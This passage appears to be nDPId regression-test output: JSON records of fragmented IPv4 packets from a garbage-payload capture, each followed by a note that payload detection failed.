+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474040,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474050,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474071,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474092,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474102,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474113,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474123,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474134,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474145,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474155,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474166,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474222,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474240,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474250,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474261,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474282,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474292,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474313,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474323,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474334,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474345,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474355,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474365,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474387,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474397,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474407,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474418,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474428,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474438,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474449,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474461,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474482,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474493,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474504,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474518,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474529,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} 